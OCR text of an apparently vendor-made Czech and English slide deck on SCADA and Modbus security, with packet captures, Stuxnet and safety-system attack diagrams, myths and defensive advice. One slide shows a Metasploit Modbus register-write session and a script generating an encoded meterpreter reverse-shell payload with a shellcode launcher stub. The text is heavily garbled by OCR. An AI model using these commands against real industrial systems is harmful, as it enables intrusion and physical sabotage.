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Proc jsou utoky tohoto typu uspésné?

- SCADA zarizeni nejsou designovana na to aby byla bezpecna
a proto jsou zranitelna
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Protokoly a bezpecnost? Check Point
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= No security
* No authentication
No authorization

No encryption

No validation

Accessible

*adbus
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SCADA Hacking: Modbus
Check Point
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SCADA/ICS systems use many different protocols to communicate than your
standard IT systems. The most widely used and the de facto standard is the
modbus protocol. First developed by Modicon (now Schneider Electric) in
1979 as a serial protocol, it has been modified and updated to run over TCP
and is often referred to as Modbus TCP. You can see a diagram of the two
packet structures below.

L

¢«—— Modbus RTU Message

= I I~
€ MBAP Header 3 «— Modbus TCP/IP PDU —
Transaction ID|| Protocol ID Length ||UnitlD

-

< Modbus TCP/IP ADU

WELCOME TO THE FUTURE OF CYBER SECURITY
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LI R I e R WL T A LW W D AWl LW LW TR 3 LR
67 1.096342 10.10.10.3 10.10. 20. 2 Modbus 67
60 1.200043 10.10.20.2 10.10.10.3 TCP 60
66 1.345321 10.10.20.2 .3 Modbus 66

346382 .3 .2 Modbus 67
60 1.400041 10.10.20.2 10.10.10.3 TCP 60
66 1.603338 10.10.20.2 10.10.10.3 Modbus 66
67 1.604427 10.10.10.3 10.10.20. 2 Modbus 67
60 1. 800068 10.10.20.2 10.10.10.3 TCP 60
66 1.853311 10.10.20.2 10.10.10.3 Modbus 66
67 1.854468 10.10.10.232 10.10.20.2 Modbus 67

LT L= A N - T Wy WIII L. Ly Ul . . nl:u.ﬁ ,mﬂ‘lll‘il_.jn\ti_.j‘l’yLl:IJ

Response: Trans: 0; Unit: 1, Func: 3: Read Holding Registers
13967 - 502 [ACK] Seq=61 Ack=66 Win=8192 Len=§

Query: Trans: 0; Unmit: 1, Func: 3:
Response: Trans: 0; unit: 1, Func: 3: Read Holding Registers
13967 - 502 [ACK] Seq=73 ACK=79 Win=8102 L en= 0

Query: Trans: 0; unit: 1, Func: 3: Read Holding Registers
Response: Trans: 0; unit: 1, Func: 3: Read Holding Registers
13967 - 502 [ACK] Seq=85 Ack=92 wWin=8192 Len=0

Query: Trans: 0; Unit: 1, Func: 3: Read Holding Registers
Response: Trans: 0; Unit: 1, Func: 3: Read Holding Registers

< |

I

# Frame 18: 67 bytes on wire (536 bits), &7 bytes captured (536 bits)

# Ethernet II, src: CheckPoi_72:b8:75 (00:1c:7f:72:b8:75), Dst: Schneide_2e:7a:5e (00:01:23:2e:7a:5e)

+ Internet Protocol Version 4, src: 10.10.10.3, Dst: 10.10.20.2

# Transmission Control Protocol, src Port: 502, Dst Port: 13967, sSeq: 66, ack: 73, Len: 13

= Modbus /TCP
Transaction Identifier: 0
Protocol Identifier: 0
Length: 7

[
= Modbus
.000 0011 = Function Code: Read Holding Registers (3)
[Beguest Frame: 17]
Byte Count: 4
= Register 0 (UINT16): 600
Register Number: O

Register value (UINTL16):
= Register 1 (UINT16): 63

Register Number: 1

Register value (UINTL16):



NI _ 1 Y

67 4.896985 10.10.10.3 10.10.20.2 Modbus, 67 Response: Trans: 0; unit: 1, Func: 3: Read Holding Registers
60 5.000221 10.10.20.2 10.10.10.3 TCP 60 13967 - 502 [ACK] Seq=241 Ack=261 wWin=8192 Len=0
66 5.150337 10.10.20.2 10.10.10. 3 Modbus, 66 Query: Trans: 0; unit: 1, Func: 3: Read Holding Registers
67 5.151027 10.10.10.3 10.10.20.2 Modbus, 67 Response: Trans: 0; unit: 1, Func: 3: Read Holding Registers
60 5.200204 10.10.20.2 10.10.10.3 TCP 60 13967 - 502 [ACK] 5eq=253 Ack=274 win=8192 Len=0

5. .2 .3 Query: Trans: 0; Unit: 1, Func: 16: Write Multiple Registers
66 5.289058 10.10.10.3 10.10.20.2 Maodbus, 66 Response: Trans: 0: unit: 1, Func: 16: write Multiple Registers
60 5.400209 10.10.20.2 10.10.10.3 TCP 60 13967 - 502 [ACK] Seq=268 Ack=286 wWin=8192 Len=0
66 5.400557 10.10.20.2 10.10.10. 3 Modbus, 66 Query: Trans: 0; unit: 1, Func: 3: Read Holding Registers
67 5.402343 10.10.10.3 10.10.20.2 Modbus/ 67 Response: Trans: 0: Unit: 1. Func: 3: Read Holdina Reaisters

4| [l

+ Frame 65: 69 bytes on wire (552 bits), 69 bytes captured (552 bits)
+ Ethernet II, 5rc: Schneide_2e:7a:5e (00:01:23:2e:7a:5e), Dst: CheckPoi_72:b8:75 (00:1c:7f:72:b8B:75)
+ Internet Protocol version 4, src: 10.10.20.2, Dst: 10.10.10.3
# Transmission Control Protocol, Src Port: 13967, Dst Port: 502, Seq: 253, Ack: 274, Len: 15
= Modbus/TCP
Transaction Identifier: 0
Protocol Identifier: O
Length: 9

- Modbus
.001 0000 = Function Code: write Multiple Registers (16)
reference Number: 0
word Count: 1

Byte Count: 2

] L] NT16
Register Number: O
Register value (UINTL16): 444

=
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Check Point

Link settings
—| | SOFTWARE TECHNOLOGIES LTD
Modbus Mode |[TCE ~ | UnitID & |5 ScanRate (ms) 1000 = TCP Pork: (5
Function Code [Read Colls (0x01) - Format [Decimal ¥ ;
x Modbus slaves

-

Start Address 0 Number of Cods & B

.[ Add | [ Enableal

B test

Packets : 2

@ TCP:127.000.000,001:502 Automation

I Impart |[ Expart thfic-dhus v: [ stay on top

Holding registers | Coils |Funcu'uns |Tuning|

[ add || memove End | [ Unbind

Address Value MName Binding

a0 | s | O O b | G | P | e
HEE - EEE

Adding coils completed.
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— e
malware gen % 'handler

IIAGUN HHI1I1UutT’

Module Options

55 unsigned char stage[] = "
56

57 int main(int argc, char *sargv) §
. " 58
il= 0) nin the e i I8 i T I £ N so int (*launcher) ()
a [ - G x .
tl.IE = - within the e = o= = == L - . L= B co launcher = (int (*)()) stage;
61 (int) (*launcher)();

63 return 0;

65 }//end :: main

> use auxiliary/scanner/scada/modbusclient

mst auxiliary( ) > show actions
...actions...
mst auxiliary( ) > set ACTION <action-name>
mst auxiliary( ) > show options
. . . Show and set options... Fle Edt View Terminal Tabs Help

auxiliary( ) > run

ifconfig eth® | grep 'inet addr:*

| €

1

2

3 "/t
root@kali: ~ 4 if [ -n $2 ];then outdir=$2; fi
5 pushd $Smsfdir
6
7
8

File Edit View Search Terminal Help

sf auxiliary( ) > show options echo “Running command: *

echo "msfpayload windows/meterpreter/reverse_tcp LHOST=$ipaddr LPORT=$1 EXITFUNC=seh.R-{-msTENcode ~c"S' -e x86/shikata_ga_nai -t raw | msfencode -c 5 -e
lodule options (auxiliary/scanner/scada/modbusclient): x86/jmp_call_additive -t raw | msfencode -c 5 -e x86/calld_dword xor -t raw | msfencode -e x86/shiKata _ga nai -t c -o Soutdir/malware.c"

10 msfpayload windows/meterpreter/reverse tcp LHOST=$ipaddr LPORT=$1 EXITFUNC=seh R | msféncode 5 -e x8@fshikata gagpad, -t raw | msfencode 5 -e x86/]

Name Current Setting Required Description mp call additive -t raw | msfencode 5 -& x86/call4 dword xor -t raw | msfencod€ -e x86/shikata ga nal -t c SoutdBmmalware.c
-eee  eesesecsscsesaTWERgage-es sesecesuanas 1
DATA 555 no Data to write (WRITE COIL and WRITE REGIS 12 echo “Payload deployed to $outdir/malware.c”
ER modes only) 13
DATA ADDRESS @ yes Modbus data address 14 popd
DATA COILS 0110 no Data in binary to write (WRITE COILS mode
only) e.g. 0110
DATA REGISTERS 555 no Words to write to each register separated
with a comma (WRITE REGISTERS mode only) e.g. 1,2,3,4
NUMBER 1 no Number of coils/registers to read (READ C
PILS ans READ REGISTERS modes only)
RHOST 10.10.10.3 yes The target address
RPORT 502 yes The target port (TCP)
UNIT_NUMBER 1 no Modbus unit number

huxiliary action:

Name Description

WRITE REGISTERS Write words to several registers

q
sf auxiliary( ) > 11
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Industrialni utoky jsou o kontrole cyklu Check Point
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2 The virus Is controlled from servers iInDenmark
and Malaysia with the help of two Internet F, .
addresses, both registered to false names. The virus =
Infects some 100,000 computers around the world. =

-

ally cut 3 Stuxnet spreads 4 The computer worm
from the outside Wotk through the system until  varles the rotational 3
at the uranium enrli It finds computers ;geed of the centrifuges. x
facllity in Natanz via runnl the Slemens Is can destroy the 5

removable USB mem¢

software Step7, centrifuges and Impalr
stick. whlch Is responsible for  uranium enrichment.
regulating the rotational
speed of the centrifuges.

mn operation

S The Stuxnet attacks start In June
2009. From this point on, the number EX:E
of inoperative centrifuges Increases

sharply.




A co hacknuti zachraného tlacitka?

Plantand
Emergen 'Emergencyresponse layer
Response
Mitigate Dike Passive protection layer
v PSVs Active protection layer
A Emergency

Shutdown

Prevent |Shutdown
Systems Process control layer

Y

Process
Control
System
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DCS / SIS Network
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SIS Triconex attack vectors
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How to solve it? Check Point
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5 zakladnich mytG Check Point
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Mam oddélenou OT sit 100% tomu tak neni
My to kontrolujeme 100% nekontrolujete
Provoz ma prednost Az do doby bezpecnostniho
Nikoho nepovolaného tam incidentu, ktery zpusobi odstavku
nepoustim Vy mate veskeré vyvojare a
Mdame tam IPS a antivirus techniky svoje?

Vétsinou neumi DPIl a nepoznaji

anomalie

A 4

WELCOME TO THE FUTURE OF CYBER SECURITY mhl
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Realita je jina Check Point
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A vite co tu mate za systemy? Ja nevim, néco jo, néco nevim
vubec. Asi bych to potreboval
Zmapovat

No néjakou mam, chtél jsem tam
nainstalovat antiviry, ale jsou
tam Windows XP

Jezisi jen to ne, toho co to kdysi
Muzeme se starych systému psal prejela véera tramvaj
zbavit?

Mate predstavu jak chcete zacit?

WELCOME TO THE FUTURE OF CYBER SECURITY
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SCADA & loT Convergence

SCADA Server

Check Point
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loT Convergence

loT Gateway

TAP connection MQTT over Ethernet

Control Network

Ethernet PLC/RTU T
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Field Equipment/Sensors

Ethernet T AN

1 \
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Wireless Communieation
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L % N

Ethernet 110

Module

Field Communication NW|

loT Sensors - MQTT

Drive Flow Meter
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loT mMmGW

Ethernet

VPN over WiFi
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Check Point

PREDCHAZET A BLOKOVAT

Procesy Technologie
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Take Action Check Point

ZaCnete se zaklady |
Definujte efektivni perimetrovou | datacentrovou

bezpecnost

Nebud'te slepi
Logujte vsechny SCADA aktivity a vytvorte si tzv.
baseline (zname/neznamé) a poté detekujte anomalie

Udélejte to uto¢nikiim slozité
Segmentace, VxPatch management a co neni
povoleno, je zakazano

WELCOME TO THE FUTURE OF CYBER SECURITY
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Implementace bezpecnosti
Check Point
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Advanced

Segmentation & Virtual Patching

Whitelisting (IPS) & Threat
Prevention

Procesy

Analyza Logovani a SOC

aktualniho analyza SCADA

Anomal
stavu provozu y

detection

Zero risk, Detect Only &
NevyZaduje znalosti aplikaci a procesu

WELCOME TO THE FUTURE OF CYBER SECURITY
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IT/OT ochran Check Point

Corporate Network Operational Network

Firewall

Firewall
Endpoint Security

Endpoint Security

IPS Application Control
IPS Anti-Virus / Anti-Bot SmartEvent
Anti-Virus / Anti-Bot Threat Extraction
Threat Emulation Threat Emulation
Threat Extraction IntellStore
IntelliStore

Security Matters

IPS

Standard Gateways Standard or Industrial Security Gateways
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